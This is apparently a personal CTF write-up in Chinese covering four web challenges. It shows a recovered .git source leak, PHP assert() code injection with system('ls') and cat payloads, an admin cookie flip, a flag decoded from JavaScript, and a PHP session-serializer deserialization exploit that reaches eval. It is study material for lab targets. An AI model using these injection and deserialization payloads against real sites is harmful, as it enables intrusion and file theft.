写在前面:自己再理顺一遍思路,回头复习时看看自己还懂不懂这个知识点
babyphp
about页面,有PHP,GIT和Bootstrap,联想到会不会GIT源码泄露,用githack操作,python2 GitHack xxxxx/.git/,得到源码
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}
$file = "templates/" . $page . ".php";
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
assert("file_exists('$file')") or die("That file doesn't exist!");
从源码可知
1、file的名字被重新命名了,变成了templates/xxx.php
2、get一个page
3、我们这里是利用assert函数来执行我们想要执行的内容
查看这几个函数的含义:
assert:“断言”,程序员断言在程序中的某个特定点该的表达式值为真。如果该表达式为假,就中断操作。又一个很重要的点,就是,如果中间的内容是一串字符串,那么它将会被 assert() 当做 php 代码来执行。跟eval()类似, 不过eval()只是执行符合php编码规范的代码。
strpos(),查找字符串出现第几个,我暂时判断这是干扰项
file_exists,file_exists() 函数检查文件或目录是否存在。如果指定的文件或目录存在则返回 true,否则返回 false。
那这里,我们就可以从断言入手,闭合函数,插入我们想执行的代码。
payload如下?page='.system("ls templates/;").'
带到整句话就是
file_exists(' "templates/" '.system("ls templates/;").' ".php"')
system("ls templates/;")
这一串字符串就被执行了,看到回显有flag.php
那用cat命令把里面的内容调出来
system("cat templates/flag.php;")
看源代码里面就有flag了。
总结:
代码注入,assert() 断言的使用。
admin
这题比较简单
扫描后台找到一个robot.txt 进入发现一个admin.php,进去抓包,把cookie的admin=0改为1就可以
web?(QWB)
看到这个先提交几个弱密码,然后抓包看内容,发现没有什么异常的,然后看源代码。
源代码中有两个比较可疑的JavaScript,第一个比较长,看上去就像一些说明,我们看第二个,重点也在第二个。
复制粘贴到Notepad,格式化一下,然后先保存为js格式看的会舒服一些.关键字搜索flag,key,或者原有页面的post。flag有4个,key有很多,post有几个。
观察发现,这里有个checkpass,发现点东西,那就继续跟着这里的关键词去搜索
我们看到这个函数对应的值,就是我们想要的key了,那这个函数是什么呢
我们可以看到有一个25维数组和一个一维数组。
for循环是相等,那我们看到的是一个25元一次方程组,这用矩阵可以解。
那怎么解呢。。。。。。
用云算网,我把数据整理了很久终于解出来了
看数据挺像ASCII码的,丢python转一下
arr=[81,87,66,123,82,51,97,99,55,95,49,115,95,49,115,95,105,110,116,101,114,101,115,116,105,110,103,125]
flag=''
for a in arr:
flag=flag+chr(int(a))
print(flag)
得到flag
QWB{R3ac7_1s_1s_interesting}
PHPinfo
进去,看到注释a webshell,扫描后台,发现有一个phpinfo。
这题很难,参考各路大神的wp,现在都不是很看的懂,遇到类似的题多半也得凉凉。
mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>
1、有个session.serialize_handler
。先不管,我们继续往后看。
session_start(),初始化session,感觉的到这题和session有关的序列化问题。
2、后面就是比较常见的一个注入点和一个构造函数和析构函数的序列化问题
这个时候,去提供的提示,session.serialize_handler
去webshell里面看看是什么东西。
搜!
关于php的session.serialize_handler的问题
看到里面有句话很眼熟,我们看到前面代码的,
使用过程中如果想要修改,使用
ini_set('session.serialize_handler','php_serialize');
ini_set('session.serialize_handler', 'php');
由phpinfo()页面继续可知,session.upload_progress.enabled为On。
当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据。所以可以通过Session Upload Progress来设置session。
然后就自己写一个JS,Post数据名为PHP_SESSION_UPLOAD_PROGRESS.,值是我们所需要的利用反序列化漏洞的内容,然后开头的seesion_start,就利用上了。
大佬wp说这里要注意enctype属性,不能对字符进行编码。
保存为html用浏览器打开,抓包。
之后,我们将filename改为我们要执行的操作,
更改以后没反应,大佬说是引号被转义了,那就在每个引号之前要加
即|O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(FILE)));";}
这个地方有两个不懂记录一下
1、第一个的|是干嘛的
2、哪个地方将双引号转义了?
如果有大佬能教教我就最好了。
看到一个Here_1s_7he_fl4g_buT_You_Cannot_see.php
再改一下操作
print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));